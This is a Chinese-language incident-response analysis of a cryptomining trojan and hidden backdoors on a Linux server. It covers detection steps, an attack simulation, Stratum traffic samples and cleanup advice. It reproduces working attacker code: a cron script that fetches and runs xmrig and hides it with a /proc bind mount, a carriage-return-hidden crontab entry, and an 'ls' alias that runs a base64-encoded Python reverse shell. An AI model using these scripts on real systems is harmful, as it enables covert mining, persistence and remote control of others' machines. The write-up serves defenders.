挖矿木马与隐藏后门应急响应分析
一、背景概述
客户服务器出现异常现象:突然卡顿、风扇狂转,但CPU占用率显示不高,怀疑存在挖矿木马和隐藏后门。
二、应急响应流程
1. 初步排查
- CPU占用检查:
top -c命令显示CPU占用率不高 - 网络连接检查:
netstat -anpt发现可疑IP连接(43.129.150.140)- 威胁情报分析确认该IP为矿池地址
2. 进程隐藏技术分析
- 目录挂载隐藏:
- 检查挂载点:`cat /proc/
\[/mountinfo` - 发现可疑挂载:`/proc/59919` - 解除挂载:`umount /proc/59919` - 解除后可见真实进程和CPU占用情况 ### 3. 计划任务后门 - **常规检查**:`crontab -l`未发现异常 - **隐藏计划任务检测**: - `cat -A /var/spool/cron/crontabs/root` - 发现恶意脚本: ```bash * * * * * /tmp/.s/1.sh ``` - 脚本内容分析: ```bash #!/bin/bash if [ ! -f "/tmp/.k/xmrig" ]; then mkdir /tmp/.k cd /tmp/.k wget https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz tar -zxvf xmrig.tar.gz sed -i 's/YOUR_WALLET_ADDRESS/攻击者钱包地址/' /tmp/.k/config.json mkdir /tmp/.k/null nohup /tmp/.k/xmrig & fi sleep 3 if pgrep -x "xmrig" then pid=$(pgrep -x xmrig) mount --bind /tmp/.k/null /proc/$pid fi ``` ### 4. Alias后门 - **异常现象**:莫名其妙出现外链请求 - **检测方法**: - 检查历史命令:`history` - 检查alias定义:`alias` - 深入检查发现`.bashrc`被篡改: ```bash #enable software update with apt #See /etc/apt/source.d/ in the apt package. if [ -f /etc/update-manager/release-upgrade ]; then . /etc/update-manager/release-upgrade fi ``` - `/etc/update-manager/release-upgrade`文件包含恶意alias定义: ```bash alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xOTkuMSIsIDk5OTkpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))";};alerts' ``` ## 三、XMR挖矿攻击模拟 ### 1. 攻击流程 1. **SSH暴力破解**获取服务器权限 2. **部署挖矿程序**: ```bash wget https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz tar -zxvf xmrig.tar.gz ``` 3. **配置挖矿程序**: - 修改`config.json`中的钱包地址 - 后台运行:`nohup ./xmrig &` ### 2. 隐藏技术实现 - **目录挂载隐藏**: ```bash mkdir /tmp/.k/null mount --bind /tmp/.k/null /proc/$pid ``` - **计划任务持久化**: ```bash (crontab -l;printf "* * * * * /tmp/.s/1.sh;\rno crontw_wab for `whoami` %100 c\n")|crontab - ``` - **alias后门**: - 修改常见命令(ls、alias、unalias)的行为 - 隐藏在`.bashrc`中加载 ## 四、XMR挖矿流量分析 ### 1. Stratum协议特点 - 基于JSON-RPC 2.0的TCP通讯协议 - 主要交互行为: - 挖矿主机登记 - 任务下发 - 账号登录 - 结果提交 - 挖矿任务难度调整 ### 2. 流量捕获与分析 - **捕获流量**: ```bash tcpdump -i ens33 -c 10000 -nn -w xmr_capture.pcap ``` - **特征分析**: - JSON格式数据 - 关键字段:id、jsonrpc、method、params、job_id、nonce、result等 ### 3. 典型流量示例 - **矿机任务提交**: ```json { "id": 121, "jsonrpc": "2.0", "method": "submit", "params": { "id": "50465107", "job_id": "51650811", "nonce": "cc210000", "result": "374de8..." } } ``` - **矿池成功响应**: ```json { "jsonrpc": "2.0", "id": 110, "error": null, "result": { "status": "OK" } } ``` - **矿池下发新任务**: ```json { "method": "job", "params": { "blob": "1010a5...", "algo": "rx/0", "height": 3190425, "seed_hash": "78f693...", "job_id": "51724435", "target": "7d770100", "id": "50465107" }, "jsonrpc": "2.0" } ``` ## 五、防御与清理建议 1. **系统检查**: - 检查所有挂载点:`cat /proc/ \]
/mountinfo`
- 检查隐藏的计划任务:
cat -A /var/spool/cron/crontabs/root - 检查alias定义和.bashrc文件
-
清理步骤:
- 终止恶意进程
- 删除恶意文件和目录(/tmp/.k, /tmp/.s等)
- 恢复被篡改的系统文件(.bashrc等)
- 清理计划任务
- 检查并删除/etc/update-manager/下的恶意文件
-
加固措施:
- 加强SSH安全(禁用root登录、使用密钥认证、限制IP等)
- 定期检查系统异常进程和网络连接
- 监控异常CPU和网络流量
- 使用HIDS进行行为监控
-
网络层防御:
- 封锁已知矿池IP
- 监控异常JSON-RPC流量
- 检测Stratum协议特征